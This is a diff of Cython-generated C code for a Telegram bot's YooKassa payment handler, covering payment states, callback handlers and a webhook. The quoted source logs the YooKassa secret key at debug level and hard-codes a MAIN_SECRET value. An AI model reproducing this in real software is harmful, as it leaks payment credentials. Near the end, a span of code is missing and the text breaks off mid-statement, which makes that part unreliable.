__pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":34 + * Configuration.secret_key = YOOKASSA_SECRET_KEY + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") + * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Secret_Key, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":30 + * MAIN_SECRET = "PIRAT4ETO5DLYA0TEBYA" + * + * if YOOKASSA_ENABLE: # <<<<<<<<<<<<<< + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY + */ + } + + /* "handlers/payments/yookassa_pay.py":37 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yookassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (__pyx_t_2 != __pyx_t_5) { + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_5) < 0))) __PYX_ERR(0, 37, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":38 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yookassa = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_yookassa = State() + * entering_custom_amount_yookassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":39 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() # <<<<<<<<<<<<<< + * entering_custom_amount_yookassa = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_5) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":40 + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() + * entering_custom_amount_yookassa = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":37 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() + */ + __pyx_t_5 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_5) < 0) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yookassa, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yookassa, __pyx_t_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yookassa_webhook, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__13)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yookassa_webhook, __pyx_t_6) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyObject_RichCompare(__pyx_t_2, __pyx_n_u_enter_custom_amount_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_6) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_2) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":1 + * import uuid # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.yookassa_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.yookassa_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = 